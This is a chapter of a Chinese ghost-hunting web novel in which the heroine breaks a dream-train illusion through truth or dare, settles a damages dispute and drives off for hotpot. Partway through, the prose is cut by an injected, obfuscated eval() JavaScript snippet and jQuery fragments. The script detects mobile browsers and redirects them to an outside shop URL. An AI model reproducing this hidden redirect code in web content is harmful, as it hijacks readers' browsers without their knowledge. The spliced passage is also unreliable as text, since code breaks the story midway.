64. 第 64 章

作品:《主业宿管,副业抓鬼

    拾冬又回到哐当哐当的火车里,面前的一切和刚刚并无两样,祝婉儿的灯笼依旧一晃一荡,她移开视线,在黑暗中缓慢往前,突然开口:“我们来玩游戏吧。”


    “玩什么游戏?”祝婉儿问。


    “真心话大冒险。”拾冬停下步子,问前面带路的祝婉儿,“你选真心话还是大冒险。”


    “大冒险。”祝婉儿不假思索回答。


    “好,现在把你的灯笼熄了。”


    前头的祝婉儿停下脚步,回头解释,“熄灭就看不到了。”


    “没关系,熄了。”拾冬凝视着祝婉儿被灯笼微微照亮的下巴,又一次重复,“把它熄了。”


    “为什么?”祝婉儿反问。


    拾冬一步步朝她靠近,“早上看到你的时候,你还记得我要你说话别那么复古吗?你早上的时候叫郁之郁公子,喊我姑娘,但是刚才的接触中,你都在说你,好神奇,活了几百年的古代人一下子就掌握了现代人的说话方式,真心话大冒险也是,连什么意思都不问直接选了,祝姑娘,学习能力很强。”


    拾冬在祝婉儿五步远的位置停下,


    “你一直在引导我们往前走,在那个女人的房间也是,你有意让她攻击我,你模仿得太不像了,你不知道祝婉儿是个有几百年道行的鬼,她如果想动手,这些意识根本不是她的对手。


    还有这盏灯,是你的催眠工具吧,关勤。”


    祝婉儿立在黑暗中没有说话也没动作,就静静站着。


    在拾冬还想靠近的时候,祝婉儿终于回过头,她嘴角勾起一个诡异的微笑,整个人像张揉碎的纸在面前化成灰烬。


    车厢瞬间亮了,外面又一次出现水草,鱼虾,海绵宝宝和派大星。


    列车还在重复。


    “我们接着往后走吗?”一直没出声的郁之走过来问。


    拾冬摇头,“这辆列车是关勤设计出来的梦境,我们得把它破了才能出去。”


    “怎么破。”郁之平淡发问。


    “真心话还是大冒险。”


    她抬头看向郁之,她知道自己哭过,眼睛肯定红得很明显,但她好像没那么害怕被人发现了。


    “真心话。”


    “你是郁之吗?”


    “我是。”


    “真心话还是大冒险。”她抬起右手,镯子正不断发热。


    “真心话。”


    “你是郁之吗?”


    “我是。”郁之凝视拾冬又一次重复。


    “真心话还是大冒险。”


    镯子第一次在她面前化形,一把红色的剑直指郁之心脏位置。


    “真心话。”


    “你是郁之吗?”


    郁之低头看了眼胸口的剑,脸上毫无惧色,重新看向她红肿的双眼,重复:“我是。”


    话音刚落,刀尖换了个方向,没入主人胸口。


    郁之保持之前的姿势,冷静看向拾冬胸口的剑。


    在这场游戏中,郁之一直在遵守游戏规则,说谎的是自己。


    “你是不是早就知道了。”


    火车在瓦解,座椅软化,窗帘掉落,水从碎了的窗户灌进来,很快浸湿他们的鞋子。


    “我以为师姐在危急关头会对自己诚实一些,没想到师姐太倔了。”


    拾冬笑了,感觉自己跟着火车在一点点消解,明明知道不会死,这只是自己的一缕意识,她还是有些害怕。


    “师姐刚刚问了我那么多问题,该我问了。”水已经没过小腿,郁之蹚水朝拾冬靠近。


    “问什么。”


    “真心话还是大冒险。”


    “大冒险。”


    郁之没想到她不按常理出牌,有些苦恼笑了,他还没想好大冒险是什么,怀里扑进一阵风,他呆立在原地,感受水位上涨到膝盖,淹没座椅,头顶的置物架掉入水里,溅起哗啦水声,在一声悠扬的火车鸣笛声中,


    她说:“谢谢。”


    一直以来,谢谢。


    郁之俯下身,完完全全拢住怀里的人,语气温柔但有力:


    “拾冬,走吧。”


    *


    拾冬睁眼,发现自己正躺在101更衣室的小沙发上,她意识回笼一些后,听到了外面传来的声音。


    刚开门走出去,客厅外的人齐刷刷看了过来。


    “醒了?”关勤坐在椅子上朝她打招呼,一边摁着计算器。


    “严微呢?”


    “先别吵,我算账。”关勤不耐烦白了拾冬一眼,好像按错了一个键,又不得不重新计算。


    在一旁看不过眼的郁之夺过她手里的计算器,手指飞快一边按一边说:“你这面墙,按30平方算,500一平方米,是这个数,另外,人工费,运输费,还有你后期找人打扫的清理费,误工费,我一共给你这些钱,有意见吗?”


    关勤看着计算器上的数字,似乎被说服了,双肩一耸,说:“行吧,就按这个数。”


    说完亮出手机收款码,郁之扫过,按照计算出来的数字给她打了一笔钱。


    拾冬反应过来,他们是在说玻璃赔偿的事。


    “还好吗?”郁之付完钱走到拾冬面前,低头看她。


    室内灯光比在幻境里亮多了,拾冬有些不自在,点了点头,越过郁之走向关勤,“严微呢?”


    “你很烦知道吗?”


    “这话我也同样给你。”


    这时,门外走进一个人,竟然是谢白,拾冬提高警觉,下一秒,从谢白身后慢慢走出一个人,拾冬一瞬间停止了呼吸。


    “阿冬...”向云黛怯怯朝对面的人打招呼,她不是很想哭,但眼泪自己流了下来,“对不起,我没有去投胎,投胎就会忘记所有的事,我不想忘记,对不起,你一定对我很失望吧..可是我..真的...有很多事都没做..”


    如果是以前的拾冬,可能在向云黛说第一个字就会打断,但现在她没有,安静听完后,对向云黛说:


    “那去做吧。”


    向云黛一脸意外,她泪眼朦胧望着不远处的拾冬,她冷冰冰的模样和眼神和之前一样,可为什么又觉得不一样了。


    “对不起...”


    拾冬不知道她在为什么道歉,但自己不那么计较了。


    谢白在旁边擦了擦云黛湿淋淋的脸,温声提醒,“不是有东西要给你朋友吗?”


    云黛这才想起来,走过去交给她一个葫芦,拾冬接过,两个人默默对视了几秒,云黛回到谢白身边。


    “给一赠一,除了绿头发的,还有一个。”关勤从椅子上站起来,走到拾冬面前仔细打量她。


    “看什么看。”拾冬不耐烦反问。


    “看你好看咯。”


    拾冬白了关勤一眼。


    “我先走了,记得帮我把门带上。”


    拾冬不回复,正要拔开葫芦栓子,关勤出声提醒,“先别开,让她在里面养两天,不然化不了形。”


    “你对她做了什么?”


    关勤神秘一笑,“无可奉告。”


    “等一下..”拾冬见关勤想走,开口叫住,“那些意识,你打算怎么办?”


    关勤意外会被问这个,她回头看着拾冬,不施粉黛的一张脸,和梦境里的小时候一样,水灵灵的。


    她有些无语地笑了,回答:“你以为我能控制他们想离开的意识吗?是他们自己走不出来,宝贝儿,不是每个人都像你一样...晚安~”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108156|187222||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>说完婀娜多姿离开101,谢白跟着离开,向云黛临走前问拾冬:“阿冬,我之后可以来找你吗?”


    “可以。”


    向云黛含泪笑着点头,“好,那我先走了,拜拜。”


    “拜拜。”


    人走得就剩郁之和拾冬,她坐在刚刚关勤坐过的椅子上,抱着葫芦发呆,脑海中有很多思绪,拥挤不堪堵着,明明才过去一天,却感觉用了好几天的能量。


    她需要此刻什么都不想的放空。


    “祝婉儿呢?”拾冬坐了好一会儿才想起少了个人。


    “她应该也被关勤设计了,看到了些不愉快的事,一出来就告辞了。”


    拾冬没有细究,“嗯”了一声,墙上的时钟接近十二点,她突然饿了。


    “郁之,我们去吃火锅吧。”


    她需要热乎的能量补给。


    “好。”


    两人起身,郁之的车还停在小区,他们缓缓驶出盛辉小区,拾冬望着后视镜渐行渐远的保安亭,鬼使神差般说:“去吴村之前,我在这买了一套房子。”


    郁之开着车问:“然后呢?”


    拾冬笑了,“后来它成了凶宅上了电视。”


    郁之没有发表看法,等拾冬往下讲。


    “很小的时候我就想要一套房子,一套不会被赶走,可以永远待在里面的房子,不用去外面上厕所,洗澡时有取暖工具的房子,小时候听别的同学说她们洗澡不冷,我都想象不到,怎么会不冷,我每次洗澡都要被冻死了。


    这些年存了一点钱,孟老头说铺子要被收走的那天,我就决定买房,交了五万块定金,现在都还没要回来。


    虽然我总跟他吵架,他老骂我,说我这不好那不好,但他年纪一大把了还要被赶走,我不想让他这样。我想给我和他一个家,就像小时候他对我那样,他是一个好老头,已经给我很多了。”


    眼泪滴在葫芦上,拾冬没有动,只是静静看着它顺着弧面往下滑。


    无法坦然说出口的感谢和爱,拾冬有时候觉得她和孟永太像了,别扭地关心对方,却也总是不经意伤害对方。


    “不过现在老头的铺子还能继续住着,我得想办法先把我的五万块拿回来。”


    拾冬打开车窗,夏夜晚风吹过耳畔,她依靠在车门,望向外面逐渐冷清下来的街道。


    “师姐..”


    “嗯?”


    “忘了告诉你,你昨天的150是永久的,我那里你可以随时来住,含三餐外加下午茶和夜宵。”


    拾冬没有回头,笑声被风吹散,


    “那你不是亏大了。”


    郁之跟着一起笑了,“只要我愿意就没有亏损。”


    电台里,男歌手的歌唱到尾声,


    温柔的晚风轻轻地吹过


    城市的灯火


    温柔的晚风请你带走


    我昨天的梦


    今夜的晚风你要去哪里


    请告诉我


    *


    凌晨两点半,谢白被不断的震动声吵醒,他迷迷糊糊拿过手机,来电显示“关勤”


    “干什么!”谢白有点起床气,接通电话后语气略凶。


    关勤在丝滑的蚕丝被面上滚了个圈,问:“你有拾冬的联系方式吗?”


    “问这个干嘛?”


    “我有点喜欢她~”


    “?”谢白确认了一眼来电显示,粗口脱口而出,“你神经病吧!大晚上打电话说这个,恶不恶心。”


    说完切断电话,他翻了个身,发现向云黛不在。


    “云黛?”


    没人应。


    “云黛?”


    谢白从床上坐起,意识到,向云黛不在家。